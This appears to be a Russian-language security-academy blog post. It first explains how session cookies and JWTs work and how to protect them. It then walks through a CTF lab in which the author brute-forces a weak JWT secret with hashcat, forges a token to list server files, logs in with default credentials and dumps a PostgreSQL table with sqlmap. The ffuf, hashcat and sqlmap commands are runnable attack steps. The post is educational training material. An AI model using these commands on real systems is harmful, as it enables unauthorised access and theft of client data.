Как сайты помнят тебя и как я через JWT попал в базу PostgreSQL

Как сайты помнят тебя и как я через JWT попал в базу PostgreSQL
Важно: Материал опубликован исключительно в образовательных целях и предназначен для изучения принципов работы технологий, методов защиты и проведения легального тестирования безопасности. Любые проверки, сканирование, эксплуатация уязвимостей или иные действия в отношении информационных систем допускаются только при наличии явного разрешения их владельца или в специально созданной лабораторной среде. Автор и администрация Kraken не несут ответственности за неправомерное использование информации, представленной в данной статье.
Авторская статья
CTA Image

Материал подготовлен студентом Kraken Academy CyberWatchDog. Статья публикуется в авторской редакции и отражает личный опыт и мнение автора.

Посмотреть профиль

🍪 Ты заходишь на сайт, логинишься, закрываешь вкладку, открываешь снова — и ты всё ещё внутри. Магия? Нет, просто браузер хранит твой цифровой пропуск. А если этот пропуск сделан криво — кто-то другой войдёт вместо тебя.

В конце статьи покажу, как именно: реальный CTF, реальный взлом через JWT, LFI и SQL-инъекцию в PostgreSQL.

📌 Session ID: цифровой номерок в гардеробе

Представь: пришёл на вечеринку, сдал куртку, получил бумажку с номером. Гардеробщик по номеру знает — куртка твоя. Потерял номерок — и кто-то другой заберёт куртку.

С сайтами то же самое. Когда ты логинишься:

  1. Вводишь логин/пароль
  2. Сервер проверяет данные, создаёт сессию с уникальным ID
  3. Браузеру прилетает кука: sessionid=abc123
  4. При каждом следующем запросе браузер шлёт эту куку, сервер проверяет: «А, это Вася, пускай»

Где хранится Session ID? Обычно в памяти сервера или в базе данных (Redis, Memcached).

Проблема: украл злоумышленник этот ID — и он ты. Пока сессия жива.

🔑 JWT: самодостаточный пропуск

JWT (JSON Web Token) — другой подход. Никакого хранилища на сервере: вся информация о пользователе зашита прямо в токен.

Структура:

header.payload.signature
  • header — алгоритм шифрования (HS256RS256, ...)
  • payload — данные: {"user": "James", "role": "admin", "exp": 1700000000}
  • signature — подпись, которая доказывает, что токен не подделан

Как работает:

  1. Логинишься → сервер генерирует JWT и отдаёт браузеру (в куке или localStorage)
  2. При каждом запросе браузер прикладывает токен
  3. Сервер проверяет подпись, смотрит срок — и достаёт данные из payload

Плюс: не нужно хранить сессии на сервере, легко масштабировать.
Минус: украли токен — он работает до истечения срока. Отозвать досрочно сложно. Ну и если секрет слабый — его можно сбрутить. Об этом ниже 😈

🧨 Чем опасна кража куки или токена

Если злоумышленник получил твой Session ID или JWT:

  •  Заходит в аккаунт без пароля
  •  Делает всё от твоего имени: посты, переводы, заказы
  •  Меняет настройки, сливает данные
  •  Даже 2FA не всегда спасает — некоторые сайты не требуют её повторно при живой сессии

Как воруют:

  • XSS — скрипт на странице читает куки и отправляет хакеру
  • Перехват трафика — если HTTP без S, данные летят открытым текстом
  • Фишинг — поддельный сайт копирует сессию
  • Утечки БД — сессии хранятся на сервере, утекают вместе с паролями

🛡 Как защититься

Для пользователей:

  • Проверяй замок HTTPS в адресной строке
  • Не кликай на подозрительные ссылки вида «срочно подтверди вход»
  • Выходи из аккаунтов на чужих устройствах
  • Включай 2FA везде, где есть

Для разработчиков:

  • HttpOnly — кука недоступна JavaScript (защита от XSS)
  • Secure — кука только по HTTPS
  • SameSite — ограничивает отправку куки с чужих сайтов (защита от CSRF)
  • Короткое время жизни токена — украли, но через 15 минут уже мусор
  • Привязка к IP / User-Agent — резко изменились параметры → переспросить пароль
  • Чёрный список токенов — нажал «выйти», токен в стоп-лист

Как посмотреть свои куки:
F12 → Application (Chrome) или Storage (Firefox) → Cookies
Видно флаги HttpOnlySecureSameSite. Если их нет — сайт написан с ленцой.

🏴 Практика: как я через JWT попал в PostgreSQL

Теперь не теория, а руки в земле. Mашина 10.124.1.239. Цель — внедрение SQL-кода, найти флаг.

Шаг 1. Получаем JWT токен

Открываю сайт — там единственная кнопка: Get Test Token. Нажимаю, и сервер любезно выдаёт JWT прямо в браузере. 

Сервер вернул длинную строку вида eyJ0eXAiOiJKV1Qi... — классический Base64-encoded JWT. Запомнили, идём дальше.

Шаг 2. Фаззим директории через ffuf

Токен есть, но непонятно куда его совать. Запускаю ffuf — инструмент для перебора путей на сервере:

ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.124.1.239/FUZZ -e .php

Среди результатов — check.php с кодом 200. Открываю его и получаю сообщение: Get param 'jwt' is not set. Намёк понятен — сюда надо передать токен через GET-параметр ?jwt=.

Шаг 3. Брутим секрет JWT через hashcat

Прежде чем менять payload, нужно знать секрет, которым подписан токен — иначе сервер не примет подпись. Запускаю hashcat с режимом -m 16500 (JWT HS256):

hashcat -a 3 -m 16500 jwt ?a?a?a?a?a?a?a?a

Hashcat перебирает все возможные комбинации символов заданной длины. Секрет оказался слабым — 2e025. Именно поэтому короткие и простые секреты в JWT смертельно опасны.

Шаг 4. Декодируем и изучаем payload в jwt.io

Вставляю токен в jwt.io и вижу структуру изнутри:

{
  "user": "James",
  "dir": "samples",
  "key": "qwerty",
  "timestamp": 1773760742
}

Поле dir сразу бросается в глаза. Сервер явно использует его, чтобы куда-то смотреть. Вопрос: куда именно и что будет, если подменить значение?

Шаг 5. Меняем payload — пробуем LFI

Знаю секрет 2e025, знаю структуру — пора подделать токен. Меняю dir с "samples" на "/var/www/html" и пересобираю токен с той же подписью:

{
  "user": "James",
  "dir": "/var/www/html",
  "key": "qwerty",
  "timestamp": 1773760742
}

Подставляю новый токен в check.php?jwt=... и отправляю запрос.

Шаг 6. Сервер раскрывает содержимое директории

Сервер вернул листинг файлов:

samples  composer.json  vendor  token.php  index.html
supersecretadminloginyoullneverguess.php  composer.lock  ..  check.php  .

Это классический LFI (Local File Inclusion) — сервер доверяет значению dir из токена и использует его для листинга файловой системы. А мы этим доверием воспользовались.

Среди файлов — supersecretadminloginyoullneverguess.php. Название говорит само за себя. Переходим.

Шаг 7. Находим скрытую админку

Логин-форма. Пробую стандартные admin/adminadmin/password — заходим. Внутри открывается другая форма с заголовком «Check information about user» и пятью полями.

Форма поиска по пользователям. Пять полей, POST-запрос, база данных за ними — это пахнет SQL-инъекцией.

Шаг 8. Перехватываем запрос в Burp Suite

Включаю Burp Suite, перехватываю POST-запрос при отправке формы:

POST /supersecretadminloginyoullneverguess.php HTTP/1.1
Host: 10.124.1.239
...
Cookie: PHPSESSID=ejru24mj3antoafdhqjfq9tlg8

name=1&address=1&phone=1&email=1&plan=1&submit_search=Submit

Сохраняю запрос в файл sql.txt — он понадобится sqlmap.

Шаг 9. Запускаем sqlmap — находим инъекцию

Передаю сохранённый запрос в sqlmap:

sqlmap -r sql.txt --level=2 --risk=2 --batch

sqlmap нашёл уязвимость в параметре phone. Бэкенд — PostgreSQL на Ubuntu 20.04, веб-сервер — Apache 2.4.41. Вся информация как на ладони.

Шаг 10. Изучаем структуру базы

Дамплю структуру таблицы clients_data:

sqlmap -r sql.txt --level=5 --risk=3 --columns -D public -T clients_data --batch --random-agent

Данные клиентов — это уже плохо для сайта, но это не флаг. Ищу дальше.

Шаг 11. Ищем таблицу с флагом

Ищу таблицы с названием, похожим на secret:

sqlmap -r sql.txt -p phone --search -T secret --dbms=postgresql

Есть таблица secret. Дампим:

Database: public
Table: secret
[1 entry]
+----+--------------------------------------+
| id | flag                                 |
+----+--------------------------------------+
| 1  | afdce863-acc5-423d-b240-beed4045e5b1 |
+----+--------------------------------------+

🏁 Флаг полученafdce863-acc5-423d-b240-beed4045e5b1

🔍 Разбор цепочки атаки

Вот как выглядела вся цепочка:

JWT с открытой раздачей
        ↓
ffuf: находим check.php
        ↓
hashcat: брутим секрет "2e025"
        ↓
jwt.io: декодируем payload, видим поле "dir"
        ↓
Подменяем dir → "/var/www/html" → переподписываем токен
        ↓
LFI: сервер листит файловую систему → находим supersecretadmin...php
        ↓
Логинимся → форма поиска пользователей
        ↓
Burp Suite: перехватываем POST-запрос
        ↓
sqlmap: находим SQLi в параметре phone (PostgreSQL)
        ↓
Дампим таблицу secret → флаг

Каждый шаг использовал одну конкретную ошибку разработчика.

🤔 Итог

Куки, сессии и токены — это цифровые паспорта в интернете. Без них ты бы вводил пароль на каждой странице. Но если паспорт сделан криво — его можно подделать, сбрутить и использовать для входа куда не надо.

Конкретно в этой машине: слабый секрет JWT + доверие пользовательским данным + отсутствие параметризированных запросов = полный доступ к базе данных. Четыре строчки кода могли это всё предотвратить.

Пиши токены правильно. Не доверяй данным из токена без валидации. Параметризуй SQL-запросы. И никогда не называй файлы supersecretadminloginyoullneverguess.php  — это не безопасность, это иллюзия безопасности 🙂

P.S 

Машина взято с платформы Standoff365-Bootcamp  
Название: [web-5] Внедрение SQL-кода (SQLi) на узле tokenizer.edu.stf 
Хост: tokenizer.edu.stf 10.124.1.239  
Сложность: Низкая  
Максимум баллов: 50 

Цель по легенде: реализовать SQL-инъекцию и достать флаг из колонки `flag` таблицы `secret`.  
Что и было сделано 🙂

Следующий шаг - практика
CTA Image

Эта статья - только начало. Настоящие навыки появляются тогда, когда знания превращаются в практику. В Kraken Academy мы собрали полноценные курсы по информационной безопасности с лабораториями, практическими заданиями и пошаговыми образовательными треками - от первых шагов до уровня специалиста.

Начать обучение

Читать далее

Критическая уязвимость в чипах Unisoc: видеозвонок VoLTE открывает доступ к ядру Android

Критическая уязвимость в чипах Unisoc: видеозвонок VoLTE открывает доступ к ядру Android

Цепочка уязвимостей VoLTE может предоставить злоумышленникам полный доступ к ядру Android. Цепочка, связанная с Unisoc, начинается с удаленного выполнения кода (RCE) на модеме, а затем позволяет коду модема изменять память ядра Android. Для ее эксплуатации требуется инфраструктура 4G, контролируемая злоумышленником, а также то, чтобы жертва ответила на видеозвонок. Недостаток заключается

Уязвимость Screen Sharing в macOS используют для скрытой установки майнера Monero

Уязвимость Screen Sharing в macOS используют для скрытой установки майнера Monero

Злоумышленники используют уязвимость в функции Screen Sharing (обмен экранами) в macOS для установки майнеров криптовалюты Monero. CVE-2026-65400 используется для атак на несколько компьютеров Mac, у которых порт 5900 открыт для доступа из интернета. Компания Apple устранила эту уязвимость в срочных обновлениях для macOS. Обновления, выпущенные Apple, улучшают механизмы

AmnesiaStealer позволяет хакерам удаленно управлять браузерами Chromium на macOS

AmnesiaStealer позволяет хакерам удаленно управлять браузерами Chromium на macOS

Исследователи кибербезопасности раскрыли детали нового ориентированного на macOS, основанного на Rust похитителя информации под названием AmnesiaStealer, который способен захватывать веб-браузеры Chromium для кражи данных сеанса. Принцип работы для macOS: вредоносная программа ClickFix → вставка команды в Терминал → кража паролей и данных браузера → открытие скрытого браузера Chromium, которым злоумышленники могут управлять

737 фейковых VPN для Chrome шпионили за пользователями

737 фейковых VPN для Chrome шпионили за пользователями

Расширения для браузера Chrome под названием "737 VPN" перенаправляли трафик браузера через серверы, контролируемые злоумышленниками. Количество установок расширений, опубликованных по меньшей мере в 40 аккаунтах разработчиков Chrome Web Store, составило 75 486. Было установлено, что 274 из них выдают себя за 66 известных брендов VPN и средств защиты